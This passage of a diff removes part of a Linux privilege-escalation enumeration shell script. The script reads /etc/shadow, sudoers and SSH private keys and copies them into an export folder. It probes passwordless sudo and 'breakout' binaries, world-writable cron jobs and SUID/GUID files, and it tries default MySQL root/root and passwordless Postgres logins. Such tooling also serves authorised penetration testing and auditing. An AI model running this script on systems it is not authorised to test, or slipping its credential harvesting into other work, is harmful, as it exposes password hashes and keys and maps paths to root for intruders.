memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) -hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` -if [ "$hashesinpasswd" ]; then - echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#locate custom user accounts with some 'known default' uids -readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` -if [ "$readpasswd" ]; then - echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/passwd $format/etc-export/passwd 2>/dev/null -else - : -fi - -#checks to see if the shadow file can be read -readshadow=`cat /etc/shadow 2>/dev/null` -if [ "$readshadow" ]; then - echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readshadow" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/shadow $format/etc-export/shadow 2>/dev/null -else - : -fi - -#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant -readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` -if [ "$readmasterpasswd" ]; then - echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmasterpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null -else - : -fi - -#all root accounts (uid 0) -echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#pull out vital sudoers info -sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$' 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$sudoers" ]; then - echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$sudoers" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null -else - : -fi - -#can we sudo without supplying a password -sudoperms=`echo '' | sudo -S -l 2>/dev/null` -if [ "$sudoperms" ]; then - echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#known 'good' breakout binaries -sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` -if [ "$sudopwnage" ]; then - echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if roots home directory is accessible -rthmdir=`ls -ahl /root/ 2>/dev/null` -if [ "$rthmdir" ]; then - echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#displays /home directory permissions - check if any are lax -homedirperms=`ls -ahl /home/ 2>/dev/null` -if [ "$homedirperms" ]; then - echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#looks for files we can write to that don't belong to us -if [ "$thorough" = "1" ]; then - grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` - if [ "$grfilesall" ]; then - echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi -fi - -#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` - if [ "$wrfileshm" ]; then - echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wrfileshm" ]; then - mkdir $format/wr-files/ 2>/dev/null - for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null - else - : - fi - else - : -fi - -#lists current user's home directory contents -if [ "$thorough" = "1" ]; then -homedircontents=`ls -ahl ~ 2>/dev/null` - if [ "$homedircontents" ] ; then - echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` - if [ "$sshfiles" ]; then - echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$sshfiles" ]; then - mkdir $format/ssh-files/ 2>/dev/null - for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#is root permitted to login via ssh -sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` -if [ "$sshrootlogin" = "yes" ]; then - echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null - -#env information -envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` -if [ "$envinfo" ]; then - echo -e "\e[00;31m Environment information:\e[00m\n$envinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current path configuration -pathinfo=`echo $PATH 2>/dev/null` -if [ "$pathinfo" ]; then - echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists available shells -shellinfo=`cat /etc/shells 2>/dev/null` -if [ "$shellinfo" ]; then - echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current umask value with both octal and symbolic output -umask=`umask -S 2>/dev/null & umask 2>/dev/null` -if [ "$umask" ]; then - echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#umask value as in /etc/login.defs -umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$umaskdef" ]; then - echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#password policy information as stored in /etc/login.defs -logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` -if [ "$logindefs" ]; then - echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$logindefs" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null - -#are there any cron jobs configured -cronjobs=`ls -la /etc/cron* 2>/dev/null` -if [ "$cronjobs" ]; then - echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we manipulate these jobs in any way -cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$cronjobwwperms" ]; then - echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#contab contents -crontab=`cat /etc/crontab 2>/dev/null` -if [ "$crontab" ]; then - echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` -if [ "$crontabvar" ]; then - echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` -if [ "$anacronjobs" ]; then - echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacrontab=`ls -la /var/spool/anacron 2>/dev/null` -if [ "$anacrontab" ]; then - echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) -cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` -if [ "$cronother" ]; then - echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null - -#nic information -nicinfo=`/sbin/ifconfig -a 2>/dev/null` -if [ "$nicinfo" ]; then - echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -arpinfo=`arp -a 2>/dev/null` -if [ "$arpinfo" ]; then - echo -e "\e[00;31mARP history:\e[00m\n$arpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#dns settings -nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` -if [ "$nsinfo" ]; then - echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#default route configuration -defroute=`route 2>/dev/null | grep default` -if [ "$defroute" ]; then - echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening TCP -tcpservs=`netstat -antp 2>/dev/null` -if [ "$tcpservs" ]; then - echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening UDP -udpservs=`netstat -anup 2>/dev/null` -if [ "$udpservs" ]; then - echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null - -#running processes -psaux=`ps aux 2>/dev/null` -if [ "$psaux" ]; then - echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lookup process binary path and permissisons -procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` -if [ "$procperm" ]; then - echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$procperm" ]; then -procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` - mkdir $format/ps-export/ 2>/dev/null - for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null -else - : -fi - -#anything 'useful' in inetd.conf -inetdread=`cat /etc/inetd.conf 2>/dev/null` -if [ "$inetdread" ]; then - echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$inetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each -inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$inetdbinperms" ]; then - echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -xinetdread=`cat /etc/xinetd.conf 2>/dev/null` -if [ "$xinetdread" ]; then - echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$xinetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null -else - : -fi - -xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` -if [ "$xinetdincd" ]; then - echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each -xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$xinetdbinperms" ]; then - echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -initdread=`ls -la /etc/init.d 2>/dev/null` -if [ "$initdread" ]; then - echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$initdperms" ]; then - echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` -if [ "$rcdread" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$rcdperms" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` -if [ "$usrrcdread" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#rc.d files NOT belonging to root! -usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$usrrcdperms" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null - -#sudo version - check to see if there are any known vulnerabilities with this -sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` -if [ "$sudover" ]; then - echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql details - if installed -mysqlver=`mysql --version 2>/dev/null` -if [ "$mysqlver" ]; then - echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if root/root will get us a connection -mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` -if [ "$mysqlconnect" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql version details -mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` -if [ "$mysqlconnectnopass" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#postgres details - if installed -postgver=`psql -V 2>/dev/null` -if [ "$postgver" ]; then - echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this -postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon1" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon11" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon2" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon22" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#apache details - if installed -apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` -if [ "$apachever" ]; then - echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#what account is apache running under -apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` -if [ "$apacheusr" ]; then - echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$apacheusr" ]; then - mkdir --parents $format/etc-export/apache2/ 2>/dev/null - cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null -else - : -fi - -#installed apache modules -apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` -if [ "$apachemodules" ]; then - echo -e "\e[00;31mInstalled Apache modules:\e[00m\n$apachemodules" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#anything in the default http home dirs -apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` -if [ "$apachehomedirs" ]; then - echo -e "\e[00;31mAnything in the Apache home dirs?:\e[00m\n$apachehomedirs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null - -#checks to see if various files are installed -echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#limited search for installed compilers -compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` -if [ "$compiler" ]; then - echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -#manual check - lists out sensitive files, can we read/modify etc. -echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) -if [ "$thorough" = "1" ]; then -findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findsuid" ]; then - echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findsuid" ]; then - mkdir $format/suid-files/ 2>/dev/null - for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#list of 'interesting' suid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'emacs'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intsuid" ]; then - echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists word-writable suid files -if [ "$thorough" = "1" ]; then -wwsuid=`find / -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuid" ]; then - echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable suid files owned by root -if [ "$thorough" = "1" ]; then -wwsuidrt=`find / -uid 0 -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuidrt" ]; then - echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) -if [ "$thorough" = "1" ]; then -findguid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findguid" ]; then - echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findguid" ]; then - mkdir $format/guid-files/ 2>/dev/null - for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#list of 'interesting' guid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intguid" ]; then - echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files -if [ "$thorough" = "1" ]; then -wwguid=`find / -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguid" ]; then - echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files owned by root -if [ "$thorough" = "1" ]; then -wwguidrt=`find / -uid 0 -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguidrt" ]; then - echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#list all world-writable files excluding /proc -if [ "$thorough" = "1" ]; then -wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwfiles" ]; then - echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wwfiles" ]; then - mkdir $format/ww-files/ 2>/dev/null - for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#are any .plan files accessible in /home (could contain useful information) -usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$usrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$bsdusrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdusrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -#are there any .rhosts files accessible - these may allow us to login as another user etc. -rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$rhostsusr" ]; then - mkdir 